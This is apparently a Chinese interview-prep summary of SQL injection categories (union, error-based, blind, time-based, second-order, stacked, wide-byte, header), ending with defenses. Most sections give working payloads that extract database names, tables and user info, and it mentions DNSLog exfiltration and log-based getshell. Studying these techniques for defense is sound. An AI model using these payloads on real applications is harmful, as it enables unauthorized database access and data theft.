面试题sql注入的分类概念性总结
字数 1895 2025-08-15 21:34:03
SQL注入分类与攻击技术详解
1. SQL注入基础概念
SQL注入是一种将恶意SQL代码插入或添加到应用程序输入参数中的攻击技术,攻击者通过这些参数欺骗数据库服务器执行非预期的SQL命令。
注入点类型判断
-
整型注入:无需引号闭合,直接拼接SQL语句
1 and 1=1# 1 and 1=2# -
字符型注入:
- 单引号注入:
1' or '1'='1 - 双引号注入:
1" or "1"="1
- 单引号注入:
2. SQL注入主要分类
2.1 联合查询注入(Union Query Injection)
使用场景:页面上有显示位(数据展示位置)
关键技术点:
- 判断列数:
order by x - 确定显示位:
-1' union select 1,2,3 - 常用函数:
concat()/concat_ws():拼接多列group_concat():多行结果合并为一行
典型Payload:
-1' union select 1,2,database()#
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
2.2 报错型注入(Error-based Injection)
使用场景:页面无显示位但有SQL错误信息输出
主要技术:
-
ExtractValue()
select ExtractValue('<a><b><b/></a>', concat('~', (select database()))); -
UpdateXML()
select updatexml('test', concat('~', (select version())), 'test'); -
Floor()
select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)); -
其他报错函数:
- geometrycollection()
- multipoint()
- polygon()
- exp() (当值>709时报错)
注意:
- 输出字符长度限制32位,可用
mid()/substr()分割 - 不能使用
group_concat(),需用limit x,1
2.3 布尔盲注(Boolean-based Blind Injection)
使用场景:无显示位和错误信息,只能通过页面返回是否正常判断
攻击步骤:
-
数据库信息:
- 数据库个数:
count() - 数据库名长度:
length() - 数据库名:
substr()+ascii()
- 数据库个数:
-
表信息:
- 表个数:
count() - 表名长度:
length() - 表名:
substr()+ascii()
- 表个数:
-
字段信息:
- 字段个数:
count() - 字段名长度:
length() - 字段名:
substr()+ascii()
- 字段个数:
-
数据内容:
- 记录数:
count(*) - 内容长度:
length() - 内容:
substr()+ascii()
- 记录数:
常用函数:
ORD():返回ASCII码MID():截取字符串IFNULL():NULL值处理CAST():类型转换
2.4 时间盲注(Time-based Blind Injection)
使用场景:页面无任何差异,通过延时判断
关键技术:
sleep(5):延时5秒BENCHMARK():重复计算消耗时间- 笛卡尔积制造延时
if(condition, true_part, false_part)
典型Payload:
1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
2.5 二次注入(Second-order Injection)
原理:已存储的恶意数据被读取后再次进入SQL查询
特点:
- 第一次注入时特殊字符被转义
- 存储时数据被还原
- 第二次查询时未转义导致注入
防御:插入和读取时都需转义
2.6 堆叠注入(Stacked Queries Injection)
原理:利用分号执行多条SQL语句
条件:
- 支持多语句执行(如PHP的
mysqli_multi_query) - 通常需要已知数据库结构
利用方式:
- DNSLog数据外带(需
load_file()权限) - 开启日志Getshell(需Web绝对路径和写权限)
2.7 宽字节注入(Wide-character Injection)
条件:
- 使用GBK等宽字符编码
- 单引号被转义为
\'(%5c%27)
原理:%df%5c被解析为汉字,使单引号逃逸
Payload:
id=-1%DF' union select 1,user(),3%23
防御:设置mysql_query为binary模式
2.8 HTTP头部注入(HTTP Header Injection)
常见注入点:
- User-Agent
- Cookie
- X-Forwarded-For
- Referer
- Host
原因:未过滤用户输入的HTTP头参数
防御:
- 过滤回车换行(%0d%0a)
- 限制参数长度和合法性
3. 防御措施
- 使用参数化查询/预处理语句
- 对输入进行严格过滤和转义
- 最小权限原则,限制数据库账户权限
- 关闭错误信息显示
- 使用Web应用防火墙(WAF)
- 定期更新和修补系统
4. 总结
SQL注入攻击技术多样,从简单的联合查询到复杂的盲注技术,攻击者不断寻找新的利用方式。防御需要从代码编写、数据库配置、系统维护等多方面入手,建立全面的安全防护体系。